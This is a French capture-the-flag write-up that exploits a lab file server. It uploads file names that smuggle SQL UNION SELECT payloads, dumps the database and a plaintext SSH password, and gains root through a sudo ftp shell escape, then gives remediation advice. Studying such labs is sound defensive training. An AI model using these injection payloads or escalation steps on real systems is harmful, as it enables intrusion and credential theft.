ZNote Logo
ZNote
Labs PentesteasyCreedCTF
06-07-2026
14 min

Lab Filename : SQLi par Nom de Fichier FTP, Dump de Credentials et ftp Shell Escape

Exploitation d'un serveur de fichiers public : injection SQL via le nom d'un fichier déposé en FTP, énumération complète de la base MariaDB par UNION SELECT, récupération des credentials SSH de reno dans une table secret, et élévation de privilèges root via un shell escape dans ftp (GTFOBins).

Pentest
FTP
SQL Injection
UNION SELECT
MariaDB
SSH
GTFOBins
PrivEsc
CreedCTF
Linux

Contexte et Objectifs

ChampDétail
PlateformeCreedCTF
LienAccéder au lab
Cible192.168.203.28
OSDebian 13 (Trixie) — Linux
Vuln. clésSQL Injection via nom de fichier, ftp sudo NOPASSWD
Base de donnéesMariaDB 11.8.6
DifficultéFacile

Scénario : Un serveur de fichiers public indexe automatiquement chaque fichier déposé dans une base de données : nom, taille, date et hash SHA-1. Si le nom du fichier n'est pas sanitisé avant son insertion en SQL, déposer un fichier avec un nom malveillant est suffisant pour injecter des requêtes arbitraires.

Flags :

#EmplacementTechnique
1Fichier .flag dans /ftpls -la sur le FTP
2Table secret en baseSQLi UNION SELECT
3/home/reno/SSH avec credentials dumpés
4/root/ftp sudo NOPASSWD shell escape

Kill chain :

Sortie
FTP anonyme → ls -la → Flag 1 (fichier caché)
        │  README.md → mécanisme d'indexation SQLite
        ▼
Upload test.txt → indexé dans output.txt (comportement confirmé)
        │
        ▼
Upload "test2'.txt" → erreur SQL dans output.txt → SQLi confirmée
        │
        ▼
UNION SELECT 1,2,3 → 3 colonnes confirmées
UNION SELECT database(),version(),user() → fileserver, MariaDB, dbftp
UNION SELECT tables → ftp, secret
UNION SELECT colonnes(secret) → id, flag, username, password
UNION SELECT données(secret) → Flag 2 + reno:password
        │
        ▼
SSH reno → Flag 3 dans /home/reno/
        │
        ▼
sudo -l → ftp NOPASSWD → shell escape → root → Flag 4

1. Reconnaissance

Commande
bash
rustscan -b 500 -a 192.168.203.28 -- -sC -sV -Pn

Output :

Sortie
PORT   STATE SERVICE REASON         VERSION
21/tcp open  ftp     syn-ack ttl 62 vsftpd 3.0.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxrwxrwx    2 101      104   4096 Jun 23 19:04 ftp [NSE: writeable]
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to 10.0.65.37
|      Logged in as ftp
|      vsFTPd 3.0.5 - secure, fast, stable
22/tcp open  ssh     syn-ack ttl 62 OpenSSH 10.0p2 Debian 7+deb13u4
Service Info: OSs: Unix, Linux

Analyse :

Deux services ouverts. SSH (22) sans credentials n'est pas notre vecteur immédiat. Le FTP (21) est bien plus intéressant : deux informations critiques dans le scan.

Anonymous FTP login allowed : connexion sans authentification.

drwxrwxrwx [NSE: writeable] : le répertoire /ftp est accessible en lecture et en écriture pour tout le monde. On peut y déposer des fichiers.

TTL de 62, machine Linux.


2. Investigation FTP

Connexion et Listing Complet

Commande
bash
lftp 192.168.203.28
Sortie
lftp 192.168.203.28:~> ls -la
Sortie
drwxrwxrwx    2 0      0        4096 Jul  6 12:43 .
drwxr-xr-x    3 0        0      4096 Jun 23 19:00 ..
-rw-r--r--    1 0        0        28 Jun 23 19:04 .flag1
drwxrwxrwx    2 101      104    4096 Jun 23 19:04 ftp
Commande
bash
lftp 192.168.203.28:~> cd ftp
lftp 192.168.203.28:/ftp> ls
Sortie
-rw-r--r--    1 1000     1000       175 Jun 23 18:58 id_ecdsa.pub
-rw-r--r--    1 101      104      1247 Jun 23 19:00 banner.txt
-rw-r--r--    1 101      104      2891 Jun 23 19:00 README.md
-rw-r--r--    1 101      104       412 Jul  6 12:43 output.txt

[!NOTE] Le ls simple ne montre pas les fichiers cachés (ceux dont le nom commence par .). Le ls -la est indispensable pour les révéler. Le fichier .flag1 était invisible au premier listing.

Flag 1

Commande
bash
lftp 192.168.203.28:/ftp> cat .flag1

Flag 1

Flag 1 récupéré directement sur le FTP.

Fichier id_ecdsa.pub

Commande
bash
lftp 192.168.203.28:/ftp> cat id_ecdsa.pub
Sortie
ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIG7io3gyKUFpMo6
rQe+/oMbXr77FGjD6P6zeRV+yp1qXoC6wMDBxYDRIcxWVvvoMEjwhJyhePevQBcVh1IuX5o= reno@filename

Une clé publique ECDSA appartenant à l'utilisateur reno sur une machine appelée filename. Le username reno est notre première piste vers SSH. On le note pour plus tard.

banner.txt

Commande
bash
lftp 192.168.203.28:/ftp> cat banner.txt
Sortie
╔══════════════════════════════════════════════════════════════════════╗
║                                                                      ║
║                  S E R V E U R   D E   F I C H I E R S              ║
║                            ·  P U B L I C  ·                        ║
║                                                                      ║
╠══════════════════════════════════════════════════════════════════════╣
║                                                                      ║
║   Bienvenue sur le serveur de fichiers public FILESERVER.            ║
║                                                                      ║
║   >  Accès anonyme autorisé (login : anonymous)                      ║
║   >  Dépôt de fichiers possible dans le dossier /ftp                 ║
║   >  Lecture libre de tous les fichiers partagés                     ║
║                                                                      ║
╚══════════════════════════════════════════════════════════════════════╝

README.md (extrait pertinent)

Commande
bash
lftp 192.168.203.28:/ftp> cat README.md
Sortie
Les fichiers présents sur le serveur sont indexés automatiquement à
intervalle régulier. Pour chaque fichier sont enregistrés :

- son nom,
- sa date de dernière modification,
- sa taille,
- son empreinte SHA-1.

Un récapitulatif lisible est généré dans le fichier output.txt, que
vous pouvez consulter à tout moment.

Analyse :

Le mécanisme est maintenant clair. Un processus automatisé en arrière-plan surveille le répertoire /ftp, lit les métadonnées de chaque fichier et les insère en base de données. La requête SQL ressemble probablement à quelque chose de ce genre :

Commande
sql
INSERT INTO ftp (filename, filesize, checksum)
VALUES ('[NOM DU FICHIER]', [TAILLE], '[SHA-1]');

ou lors d'une consultation :

Commande
sql
SELECT filename, filesize, checksum FROM ftp WHERE filename = '[NOM DU FICHIER]';

Si le nom du fichier est inséré directement dans la requête sans échappement, il suffit de déposer un fichier dont le nom contient du SQL pour injecter des commandes arbitraires.

C'est l'hypothèse qu'on va tester.


3. SQL Injection via Nom de Fichier

Étape 1 : Confirmation du Comportement Normal

On commence par vérifier que le mécanisme d'indexation fonctionne comme décrit.

Commande
bash
echo "test" > test.txt

On se reconnecte au FTP et on uploade le fichier :

Commande
bash
lftp 192.168.203.28:/ftp> put test.txt

Upload de test.txt confirmé

On attend quelques secondes et on consulte output.txt :

Commande
bash
lftp 192.168.203.28:/ftp> cat output.txt

Output.txt avec test.txt indexé

Sortie
[test.txt]
filename : test.txt
filesize : 5
checksum : 4e1243bd22c66e76c2ba9eddc1f91394e57f9f83

Le fichier est bien indexé. Le comportement est conforme au README. On passe à la phase de test d'injection.

Étape 2 : Test avec une Apostrophe

En SQL, une apostrophe simple ' est le délimiteur des chaînes de caractères. Si le nom du fichier est inséré directement dans une requête sans être échappé, une apostrophe dans le nom va casser la syntaxe SQL et provoquer une erreur.

Commande
bash
touch "test2'.txt"
echo "test" > "test2'.txt"

On uploade via FTP et on consulte output.txt :

Commande
bash
lftp 192.168.203.28:/ftp> put "test2'.txt"
lftp 192.168.203.28:/ftp> cat output.txt

Erreur SQL dans output.txt

Sortie
[test2'.txt]
--------------
SELECT filename, filesize, checksum FROM ftp WHERE filename = 'test2'.txt';
--------------

ERROR 1064 (42000) at line 1: You have an error in your SQL syntax;
check the manual that corresponds to your MariaDB server version
for the right syntax to use near '.txt'' at line 1

L'erreur est extrêmement informative. Elle révèle :

  • Le moteur de base de données : MariaDB
  • La requête SQL exacte construite par le serveur
  • La confirmation que le nom du fichier est inséré directement sans échappement

Décomposition de la requête cassée :

Commande
sql
SELECT filename, filesize, checksum FROM ftp WHERE filename = 'test2'.txt';
                                                              ───────┬──────
                                                                     │
                              L'apostrophe dans "test2'" ferme la chaîne trop tôt.
                              Le reste ".txt'" devient du SQL invalide → erreur.

SQLi via nom de fichier confirmée. On connaît maintenant la structure exacte de la requête : 3 colonnes (filename, filesize, checksum), une clause WHERE sur le nom de fichier.

Comprendre l'Injection UNION SELECT

Pour extraire des données arbitraires, on utilise une UNION SELECT. Cette technique permet d'ajouter un second SELECT à la requête originale, dont les résultats seront affichés à la suite des résultats normaux.

Règle fondamentale des UNION SELECT : les deux requêtes doivent avoir le même nombre de colonnes et des types compatibles.

La requête originale a 3 colonnes : filename, filesize, checksum. Notre injection doit aussi retourner 3 valeurs.

Structure du payload :

Sortie
x' UNION SELECT [valeur1],[valeur2],[valeur3]-- -.txt
ÉlémentRôle
x'Ferme prématurément la chaîne. Le x est un nom de fichier fictif qui ne matchera rien → la requête originale retourne 0 lignes, seule notre injection s'affiche
UNION SELECTEnchaîne une seconde requête dont les résultats s'ajoutent aux premiers
[valeur1],[valeur2],[valeur3]Les 3 valeurs à retourner, une par colonne
-- -Commentaire SQL qui neutralise le reste de la requête originale (le '.txt' restant)
.txtExtension nécessaire pour que le fichier soit accepté par le serveur

Étape 3 : Confirmation des 3 Colonnes

Commande
bash
touch "x' UNION SELECT 1,2,3-- -.txt"

On uploade et on consulte output.txt :

Sortie
──────────────────────────────────────────────────────────────────────
  RÉSULTATS DE REQUÊTES
──────────────────────────────────────────────────────────────────────

1       2       3

La requête retourne bien 3 valeurs 1, 2, 3. Les 3 colonnes sont confirmées. Chaque position correspond à une colonne où on peut injecter une expression SQL.

Étape 4 : Énumération de la Base de Données

Maintenant qu'on contrôle les 3 positions, on injecte des fonctions SQL d'information système.

Fonctions utilisées :

FonctionRetourne
database()Nom de la base de données courante
version()Version complète du serveur MariaDB
user()Utilisateur SQL connecté au format user@host
Commande
bash
touch "x' UNION SELECT database(),version(),user()-- -.txt"
Sortie
──────────────────────────────────────────────────────────────────────
  RÉSULTATS DE REQUÊTES
──────────────────────────────────────────────────────────────────────

fileserver      11.8.6-MariaDB-0+deb13u1 from Debian    dbftp@localhost

Informations obtenues :

  • Base courante : fileserver
  • Version : MariaDB 11.8.6 sur Debian
  • Utilisateur SQL : dbftp@localhost

Étape 5 : Lister les Tables de la Base

On interroge information_schema.tables, la table système de MariaDB qui répertorie toutes les tables de toutes les bases.

Fonctions et clauses utilisées :

ÉlémentRôle
GROUP_CONCAT(table_name SEPARATOR ', ')Concatène tous les noms de tables en une seule chaîne séparée par des virgules, pour les faire tenir dans une seule colonne
FROM information_schema.tablesSource : la table système qui liste toutes les tables
WHERE table_schema=database()Filtre : uniquement les tables de la base courante (fileserver)
Commande
bash
touch "x' UNION SELECT GROUP_CONCAT(table_name SEPARATOR ', '),2,3 FROM information_schema.tables WHERE table_schema=database()-- -.txt"
Sortie
──────────────────────────────────────────────────────────────────────
  RÉSULTATS DE REQUÊTES
──────────────────────────────────────────────────────────────────────

ftp, secret     2       3

Deux tables dans la base fileserver : ftp (connue) et secret (nouvelle et intéressante).

Étape 6 : Lister les Colonnes de la Table secret

On interroge information_schema.columns, qui répertorie toutes les colonnes de toutes les tables.

Paramètre clé :

ÉlémentRôle
GROUP_CONCAT(column_name SEPARATOR ', ')Concatène les noms de colonnes en une chaîne
FROM information_schema.columnsSource : la table système des colonnes
WHERE table_name='secret'Filtre : uniquement les colonnes de la table secret
Commande
bash
touch "x' UNION SELECT GROUP_CONCAT(column_name SEPARATOR ', '),2,3 FROM information_schema.columns WHERE table_name='secret'-- -.txt"
Sortie
──────────────────────────────────────────────────────────────────────
  RÉSULTATS DE REQUÊTES
──────────────────────────────────────────────────────────────────────

id, flag, username, password    2       3

La table secret contient 4 colonnes : id, flag, username, password.

Étape 7 : Extraire les Données de secret

Problème : la requête originale a 3 colonnes, mais secret en a 4. On ne peut pas simplement faire SELECT id,flag,username,password car ça retournerait 4 colonnes et le UNION serait invalide.

Solution : CONCAT_WS (Concatenate With Separator). Cette fonction fusionne plusieurs valeurs en une seule chaîne, séparées par un délimiteur choisi.

ÉlémentRôle
CONCAT_WS(' | ', id, flag, username, password)Fusionne les 4 colonnes en une seule chaîne avec | comme séparateur
FROM secretSource : la table qu'on cible
Commande
bash
touch "x' UNION SELECT CONCAT_WS(' | ',id,flag,username,password),2,3 FROM secret-- -.txt"

Données de la table secret extraites

Sortie
──────────────────────────────────────────────────────────────────────
  RÉSULTATS DE REQUÊTES
──────────────────────────────────────────────────────────────────────

1 | FLAG{...} | reno | k9bNECyQ5$3#TQ3YBF@!&g?95M?qoNzykJhC7oL@     2       3

Deux informations critiques extraites :

  • Flag 2 dans la colonne flag
  • Credentials SSH : reno : k9bNECyQ5$3#TQ3YBF@!&g?95M?qoNzykJhC7oL@

La clé publique trouvée au début (reno@filename) et le username de la table secret correspondent. On a maintenant le mot de passe.


4. SSH (22) — Connexion et Flag 3

Validation des Credentials

Commande
bash
nxc ssh 192.168.203.28 -u 'reno' -p 'k9bNECyQ5$3#TQ3YBF@!&g?95M?qoNzykJhC7oL@'
Sortie
SSH  192.168.203.28  22  [*] SSH-2.0-OpenSSH_10.0p2 Debian-7+deb13u4
SSH  192.168.203.28  22  [+] reno:k9bNECyQ5$3#TQ3YBF@!&g?95M?qoNzykJhC7oL@ Linux - Shell access!

Credentials valides. On se connecte :

Commande
bash
sshpass -p 'k9bNECyQ5$3#TQ3YBF@!&g?95M?qoNzykJhC7oL@' ssh reno@192.168.203.28

Exploration du Home

Commande
bash
reno@filename:~$ whoami
reno

reno@filename:~$ ls

Listing du home de reno

Sortie
flag3.txt
Commande
bash
reno@filename:~$ cat flag3.txt

Flag 3 récupéré dans /home/reno/.


5. Élévation de Privilèges

Analyse des Permissions sudo

Commande
bash
reno@filename:~$ sudo -l
Sortie
Entrées Defaults correspondant pour reno sur filename :
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin,
    use_pty

L'utilisateur reno peut utiliser les commandes suivantes sur filename :
    (ALL) /usr/bin/ftp

reno peut exécuter ftp en tant que n'importe quel utilisateur (ALL), sans mot de passe (NOPASSWD implicite puisqu'il vient d'entrer le mot de passe pour sudo -l).

Comprendre le Shell Escape via ftp

Référence : GTFOBins — ftp

ftp est un client FTP interactif. Une fois lancé, il expose une commande interne ! qui permet d'exécuter des commandes shell dans le contexte du processus ftp. Si ftp a été lancé avec sudo, ce contexte est root.

Mécanisme :

Sortie
sudo ftp          ← ftp est lancé par root (via sudo)
    │
    └── ftp> !/bin/bash    ← la commande ! lance un shell enfant
                              ce shell hérite des droits du parent : root

C'est un shell escape classique documenté par GTFOBins. Le principe s'applique à de nombreux outils interactifs qui exposent une fonctionnalité d'exécution de commandes arbitraires.

Exploitation

Commande
bash
reno@filename:~$ sudo ftp
Sortie
ftp> !/bin/bash

Shell root obtenu via ftp

Flag 4

Commande
bash
# cat /root/root.txt

Flag root

Flag 4 récupéré. Challenge terminé.


6. Conclusion et Remédiation

Kill Chain Complète

Sortie
1. RustScan           → FTP anonyme + SSH
2. ls -la /ftp        → .flag caché découvert → Flag 1
3. id_ecdsa.pub       → username reno identifié
4. README.md          → mécanisme d'indexation SQL révélé
5. Upload test.txt    → indexation confirmée dans output.txt
6. Upload "test2'.txt" → erreur SQL → SQLi confirmée + requête exposée
7. UNION SELECT 1,2,3 → 3 colonnes confirmées
8. UNION SELECT database(),version(),user() → fileserver, MariaDB, dbftp
9. UNION SELECT tables → ftp + secret découvertes
10. UNION SELECT colonnes(secret) → id, flag, username, password
11. UNION SELECT CONCAT_WS (secret) → Flag 2 + reno:password
12. nxc ssh → credentials valides
13. SSH reno → Flag 3 dans /home/reno/
14. sudo -l → ftp NOPASSWD
15. sudo ftp → !/bin/bash → root → Flag 4

Remédiation

VecteurProblèmeRemédiation
Fichier caché non protégé.flag lisible anonymement sur le FTP publicNe jamais stocker de fichiers sensibles dans un répertoire accessible en lecture anonyme
SQL Injection via nom de fichierLe nom du fichier est inséré directement dans la requête SQL sans échappementUtiliser des requêtes préparées avec des paramètres liés : INSERT INTO ftp (filename) VALUES (?). Le nom du fichier devient un paramètre, jamais du SQL
Credentials en base de donnéesLa table secret contient le mot de passe SSH de reno en clairHacher les mots de passe avec bcrypt ou Argon2. Ne jamais stocker de mots de passe en clair, même dans des tables internes
Table secret accessible à dbftpL'utilisateur SQL dbftp peut lire la table secretAppliquer le principe de moindre privilège au niveau SQL : dbftp ne devrait avoir accès qu'à la table ftp, pas à secret. Créer des utilisateurs SQL dédiés par fonctionnalité
ftp sudo NOPASSWDreno peut exécuter ftp en root, ce qui permet un shell escape trivialSupprimer cette règle sudo. Si ftp est nécessaire, utiliser des alternatives sans fonctionnalité d'exécution de commandes, ou restreindre via sudoedit uniquement pour les opérations nécessaires

[!NOTE] Ce lab illustre une vulnérabilité peu commune mais redoutablement efficace : l'injection SQL via le nom d'un fichier. Dans la plupart des applications, les noms de fichiers sont considérés comme des données "de confiance" et ne sont pas systématiquement validés avant leur insertion en base. Ici, c'est précisément cette hypothèse qui crée le vecteur d'attaque. Toute donnée externe, y compris les noms de fichiers, les noms d'hôtes, les User-Agents HTTP ou les adresses email, doit être traitée comme hostile avant toute opération SQL.


Writeup rédigé par Zcook